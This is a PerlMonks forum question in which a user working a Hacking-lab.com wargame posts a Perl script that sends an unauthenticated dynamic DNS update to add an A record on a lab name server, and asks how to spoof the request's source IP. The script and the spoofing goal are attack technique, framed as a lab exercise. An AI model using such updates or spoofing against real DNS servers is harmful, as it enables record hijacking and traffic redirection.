Beefy Boxes and Bandwidth Generously Provided by pair Networks
Syntactic Confectionery Delight
 
PerlMonks  

How to use Net::DNS:: Update with Net::Frame::Simple

by sagarkha (Acolyte)
on Mar 03, 2013 at 12:35 UTC ( #1021499=perlquestion: print w/ replies, xml ) Need Help??
sagarkha has asked for the wisdom of the Perl Monks concerning the following question:

Hello Monks I am trying to solve a challenge at Hacking-lab.com. It is completely ethical. https://www.hacking-lab.com/cases/7010-network-security-dns-host-name-change/7010-dns-host-name-change-attack-wargame-122434qwerkkkfp.html?event=400&case=13 The challenge is to change the A record on Primary DNS server, they are recommending scapy(tool written in python) to do so. But I am trying to do it with Perl. I have modified Net::DNS to acheive this.Here is my code

#!/usr/bin/perl -w use strict; use Net::DNS; # Create the update packet. my $update = Net::DNS::Update->new('evil.zz'); # Prerequisite is that no A records exist for the name. $update->push(prerequisite => nxrrset('hacker11.evil.zz. A')); # Add two A records for the name. $update->push(update => rr_add('hacker11.evil.zz. 86400 A 127.0.0.1 +')); # $update->push(update => rr_add('foo.example.com. 86400 A 172.16.3 +.4')); # Send the update to the zone's primary master. my $res = Net::DNS::Resolver->new; $res->nameservers('192.168.200.113'); my $reply = $res->send($update); # Did it work? if ($reply) { my $rcode = $reply->header->rcode; print 'Update ', $rcode eq 'NOERROR' ? "succeeded\n" : "failed +: $rcode\n"; } else { print 'Update failed: ', $res->errorstring, "\n"; }

This code is working fine but to accomplish the task properly i need to change Source IP of this DNS request. I know one can change his source IP while creating a packet though Net::Frame::Simple etc. But how to use it in my case. Please let me know if you need further clarification.

Comment on How to use Net::DNS:: Update with Net::Frame::Simple
Download Code
Replies are listed 'Best First'.
Re: How to use Net::DNS:: Update with Net::Frame::Simple
by VinsWorldcom (Vicar) on Mar 04, 2013 at 02:16 UTC

Log In?
Username:
Password:

What's my password?
Create A New User
Node Status?
node history
Node Type: perlquestion [id://1021499]
Approved by ww
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others about the Monastery: (9)
As of 2015-07-28 15:36 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    The top three priorities of my open tasks are (in descending order of likelihood to be worked on) ...









    Results (257 votes), past polls